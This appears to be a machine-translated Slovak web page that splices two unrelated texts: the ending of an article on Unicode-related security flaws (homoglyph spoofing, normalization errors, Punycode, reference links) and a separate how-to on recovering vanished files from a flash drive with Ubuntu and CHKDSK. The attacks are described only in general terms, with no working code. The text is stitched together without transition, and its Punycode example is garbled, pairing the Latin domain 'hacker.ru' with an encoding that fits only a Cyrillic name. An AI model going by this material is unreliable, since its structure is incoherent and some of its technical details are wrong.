Áno, toto nie je koniec zraniteľností súvisiacich s Unicode. Popísal som len tie, ktoré spadajú pod hlavné, dobre známe klasifikácie. Existujú aj ďalšie bezpečnostné problémy, od nepríjemných chýb až po skutočné porušenia. Môže ísť o útoky vizuálneho charakteru, napríklad ak registračný systém nesprávne spracuje prihlásenie používateľa, potom si môžete vytvoriť účet zo znakov, ktoré sú vizuálne na nerozoznanie od mena obete, a tým uľahčiť phishing alebo útoky sociálneho inžinierstva. A možno ešte horšie – autorizačný systém (nezamieňať s autentifikáciou) dáva práva so zvýšenými privilégiami, pričom nerozlišuje znakovú sadu v prihlásení útočníka a obete.

Ak pôjdete na úroveň aplikácií alebo operačných systémov, potom sa chyby prejavia v nesprávne zostavených algoritmoch súvisiacich s konverziou - zlá normalizácia, príliš dlhé UTF-8, vymazanie a jedenie znakov, nesprávna konverzia znakov atď. To všetko vedie k najširšiemu spektru útokov – od XSS až po vzdialené spustenie kódu.

Vo všeobecnosti vás Unicode z hľadiska fantázie nijako neobmedzuje, ale naopak, iba podporuje. Mnohé z vyššie uvedených útokov sa často kombinujú a kombinujú obídenie filtra s útokom na konkrétny cieľ. Spojenie podnikania s potešením, takpovediac. Okrem toho štandard nestojí a ktovie, k čomu povedú nové rozšírenia, pretože boli také, ktoré boli neskôr úplne vylúčené z dôvodu bezpečnostných problémov.

šťastný koniec?!

Takže, ako si viete predstaviť, problémy s Unicode sú stále problémom číslo jedna a príčinou najrôznejších útokov. A existuje len jeden koreň zla - nepochopenie alebo ignorovanie štandardu. Samozrejme s tým hrešia aj najznámejší predajcovia, no toto by nemalo poľaviť. Naopak, stojí za to zamyslieť sa nad rozsahom problému. Už ste sa stihli uistiť, že Unicode je dosť zákerný a ak sa vzdáte a včas sa nepozriete do štandardu, očakávajte úlovok. Mimochodom, štandard je pravidelne aktualizovaný, a preto by ste sa nemali spoliehať na staré knihy alebo články - zastarané informácie sú horšie ako ich absencia. Dúfam však, že vás tento článok nenechal ľahostajnými k problému.

Punycode - kostra kompatibility

DNS nepovoľuje v názvoch domén používať žiadne iné znaky okrem latinky, číslic a pomlčiek, pre DNS sa používa „skrátená“ ASCII tabuľka.

Z dôvodu spätnej kompatibility sa takáto viacjazyčná doména Unicode musí previesť do starého formátu. Túto úlohu preberá prehliadač používateľa. Po transformáciách sa doména zmení na množinu znakov s predponou "xn--" alebo, ako sa tiež nazýva, "Punycode". Napríklad doména „hacker.ru“ po konverzii na Punycode vyzerá takto: „xn--80akozv.ru“. Prečítajte si viac o Punycode v RFC 3492.

Info

IDNA - IDN v aplikáciách (IDN v aplikáciách) je protokol, ktorý rieši mnohé problémy tým, že umožňuje používanie viacjazyčných názvov domén v aplikáciách. Vymyslela ho IETF, v súčasnosti existuje iba RFC starej verzie IDNA2003 - RFC 3490. Nový štandard je nekompatibilný s predchádzajúcim.

Odkazy

  • unicode.org je oficiálna stránka Unicode Consortium. Všetky odpovede na bolestivú tému nájdete tu.
  • macchiato.com/main - veľa užitočných online nástrojov na prácu s Unicode.
  • fiddler2.com/fiddler2 - Fiddler, výkonný, rozšíriteľný HTTP proxy.
  • websecuritytool.codeplex.com - Fiddler plugin pre pasívnu analýzu HTTP prevádzky.
  • lookout.net – stránka Chrisa Webera pre Unicode, web a audit softvéru.
  • sirdarckcat.blogspot.com/2009/10/couple-of-unicodeissueson-php-and.html – blogový príspevok sirdarckat o PHP a Unicode.
  • googleblog.blogspot.com/2010/01/unicode-nearing-50of-web.html – Blogový príspevok Google o všeobecnom trende rastu používania Unicode.

Videl som to prvýkrát - súbory a priečinky z flash disku zmizli a namiesto nich sa objavili súbory s nezrozumiteľnými názvami vo forme "kryakozabrikov", nazvime ich konvenčne hieroglyfy.

Jednotka Flash bola otvorená pomocou štandardných nástrojov systému Windows a bohužiaľ to neprinieslo pozitívne výsledky.

Všetky súbory na jednotke flash sú preč, okrem jedného. Objavilo sa niekoľko súborov s podivnými názvami: &, t, n-& atď.

Súbory z jednotky flash zmizli, ale systém Windows ukazuje, že voľné miesto je zabraté. To naznačuje, že aj keď sa súbory, ktoré nás zaujímajú, nezobrazujú, sú na jednotke flash.

Hoci súbory zmizli, miesto je zabraté. V konkrétnom prípade je obsadených 817 MB

Prvá myšlienka o príčine toho, čo sa stalo, je účinok vírusu. Predtým, keď sa vírus používal, sa používal správca súborov FAR manager, ktorý spravidla vidí všetky súbory (skryté a systémové). Tentoraz však FAR manažér videl iba to, čo videl štandardný Windows Explorer ...

"Stratené" súbory nemohol vidieť ani správca FAR

Pretože systém Windows nevidí chýbajúce súbory, nespustí trik so zmenou atribútov súboru pomocou príkazového riadka a atribútu -S -H /S /D.

Čo uvidí Linux?

V tejto situácii som sa ako experiment rozhodol použiť operačný systém založený na Linuxe. V konkrétnom prípade bol použitý disk s operačným systémom Ubuntu 10.04.3 (viac o Ubuntu a kde ho stiahnuť,).

Dôležité! Nie je potrebné inštalovať Ubuntu do počítača - stačí zaviesť systém z CD, rovnako ako v prípade .

Po spustení Ubuntu sa zobrazí pracovná plocha a s priečinkami a súbormi môžete pracovať úplne rovnakým spôsobom ako vo Windowse.

Ako sa očakávalo, Ubuntu videlo viac súborov v porovnaní s Windowsom.

Ubuntu zobrazuje aj tie súbory, ktoré neboli viditeľné v systéme Windows (možno kliknúť)

Ďalej, aby sme sa neobťažovali s atribútmi súboru, boli vykonané základné akcie: všetky zobrazené súbory boli vybrané a skopírované na lokálnu jednotku „D“ (samozrejme, môžete skopírovať súbory na systémovú jednotku „C“).

Teraz môžete znova spustiť systém Windows a skontrolovať, čo sa stalo.

Teraz Windows vidí niekoľko súborov programu Word. Upozorňujeme, že aj názvy súborov sa zobrazujú správne.

Bohužiaľ, problém sa nevyriešil, pretože na flash disku bolo zjavne viac súborov (súdiac podľa objemu 817 MB), ako sa nám podarilo vytiahnuť. Z tohto dôvodu sa pokúsme skontrolovať chyby na jednotke Flash.

Riešenie problémov s jednotkou flash

Na vyhľadanie a opravu chýb disku má systém Windows štandardný nástroj.

Krok 1. Kliknite pravým tlačidlom myši na ikonu jednotky Flash a vyberte položku „Vlastnosti“.

Krok 2 Prejdite na kartu „Služba“ a kliknite na tlačidlo „Vykonať overenie“.

Krok 3 Klikneme na tlačidlo „Spustiť“.

Po kontrole a oprave systémových chýb sa zobrazí zodpovedajúca správa.

Správa: „Našli sa a opravili nejaké chyby“

Po oprave chýb zmizli súbory s hieroglyfmi a v koreňovom adresári flash disku sa objavil skrytý priečinok s názvom FOUND.000.

V priečinku FOUND.000 sa nachádzalo 264 súborov s príponou CHK. Súbory s príponou CHK môžu ukladať fragmenty súborov rôznych typov extrahované z pevných diskov a flash diskov pomocou nástrojov ScanDisk alebo CHKDISK.

Ak boli všetky súbory na jednotke Flash rovnakého typu, napríklad dokumenty programu Word s príponou docx, potom v správcovi súborov Total Commander vyberte všetky súbory a stlačte kombináciu klávesov Ctrl + M (Súbory - Premenovanie skupiny) . Zadajte, ktoré rozšírenie hľadať a na čo ho zmeniť.

V tomto konkrétnom prípade som vedel len to, že na flash disku sú dokumenty Word a súbory s powerpointovými prezentáciami. Je veľmi problematické meniť prípony pomocou vedeckej metódy, preto je lepšie použiť špecializované programy - samy určia, aký typ údajov je uložený v súbore. Jedným z takýchto programov je bezplatný nástroj, ktorý nevyžaduje inštaláciu do počítača.

Zadajte zdrojový priečinok (uložil som súbory CHK na pevný disk). Ďalej som zvolil možnosť, v ktorej budú súbory s rôznymi príponami umiestnené v rôznych priečinkoch.

Zostáva stlačiť "Štart"

V dôsledku tohto nástroja sa objavili tri priečinky:

  1. DOC - s dokumentmi programu Word;
  2. JPG - s obrázkami;
  3. ZIP - s archívmi.

Obsah ôsmich súborov zostal nerozpoznaný. Hlavná úloha však bola dokončená, dokumenty Word a fotografie boli obnovené.

Nevýhodou je, že nebolo možné obnoviť podobné názvy súborov, takže si samozrejme musíte pohrať s premenovaním dokumentov programu Word. Čo sa týka súborov s obrázkami, budú fungovať aj také názvy ako FILE0001.jpg, FILE0002.jpg atď.